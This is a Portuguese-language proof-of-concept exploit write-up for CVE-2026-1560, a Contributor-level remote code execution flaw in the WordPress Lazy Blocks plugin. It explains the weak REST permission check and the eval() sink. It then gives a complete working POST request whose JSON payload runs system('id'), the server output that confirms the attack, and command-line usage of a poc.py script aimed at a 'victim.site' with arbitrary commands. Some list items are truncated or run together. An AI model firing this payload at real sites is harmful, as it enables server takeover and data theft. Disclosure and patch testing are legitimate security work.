
Prova de conceito de exploit para CVE-2026-1560, uma vulnerabilidade de execução remota de código autenticada no plugin Lazy Blocks para WordPress, que permite que usuários com privilégios baixos executem PHP arbitrário via REST API.
Pesquisador: ZeYROxXX
Plugin: Custom Block Builder – Lazy Blocks
Versões Afetadas: ≤ 4.2.0
Severidade: Alta
CVSS: 8.8
Tipo de Vulnerabilidade: Execução Remota de Código Autenticada (RCE)
Vetor de Ataque: API REST
Privilégio Necessário: edit_posts (Contribuidor+)
Uma vulnerabilidade de alta severidade foi identificada no plugin WordPress Custom Block Builder – Lazy Blocks, afetando versões até e incluindo 4.2.0.
A vulnerabilidade permite que usuários autenticados com privilégios baixos (função de Contribuidor) executem código PHP arbitrário no servidor por meio de um endpoint da API REST destinado à funcionalidade de pré-visualização de blocos.
Este problema quebra completamente o modelo de privilégios do WordPress e pode levar ao .
POST /wp-json/lazy-blocks/v1/block-builder-preview/
O endpoint é acessível a qualquer usuário autenticado com a capacidade edit_posts.
A rota REST é registrada com um callback de permissão fraco:
'permission_callback' => array( $this, 'block_builder_preview_permission' )
Isso inclui Contribuidores, que nunca deveriam ter permissão para executar código PHP.
Controlador REST – classes/class-rest.php
$block = $request->get_param( 'block' );
$block_result = lazyblocks()->blocks()->render_callback(
$attributes,
null,
null,
$context,
$block_data
);
Renderizador de Blocos – classes/class-blocks.php
public function php_eval( $code, $attributes, $context ) {
ob_start();
eval( '?>' . $code );
return ob_get_clean();
}
A função eval() executa código PHP controlado pelo atacante sem sanitização ou validação.
O Lazy Blocks permite lógica de renderização PHP personalizada para blocos.
O endpoint de pré-visualização da API REST aceita definições de blocos fornecidas pelo usuário e não distingue entre blocos armazenados confiáveis e blocos de pré-visualização controlados pelo atacante.
Ao injetar atributos de bloco achatados, como:
code_output_methodcode_editor_htmlum atacante pode alcançar o ponto de execução php_eval() e executar código PHP arbitrário.
Requisição:
POST /wp-json/lazy-blocks/v1/block-builder-preview/ HTTP/1.1
Host: example.com
Content-Type: application/json
Authorization: Basic [Contributor_Credentials]
{
"context": "editor",
"block": {
"slug": "exploit-block",
"code_output_method": "php",
"code_editor_html": "<?php echo 'VULNERABLE: ' . system('id'); ?>"
}
}
Resposta:
HTTP/1.1 200 OK
Content-Type: application/json
{
"success": true,
"response": "<div useBlockProps>VULNERABLE: uid=33(www-data)...</div>"
}
✔ Execução arbitrária de comandos confirmada
Esta PoC é fornecida estritamente para fins de teste de segurança e pesquisa.
Um atacante com acesso de Contribuidor pode:
wp-config.php)eval() em entrada controlada pelo usuáriomanage_options ou unfiltered_htmlrequestsedit_posts (Contribuidor+)pip install requests
python3 poc.py <target_url> <username> <password> "<command>"
python3 poc.py https://victim.site contributor password "id"
Se o alvo for vulnerável, a saída do comando será retornada na resposta HTTP.
⚠️ Esta prova de conceito destina-se estritamente a testes de segurança autorizados e fins de pesquisa.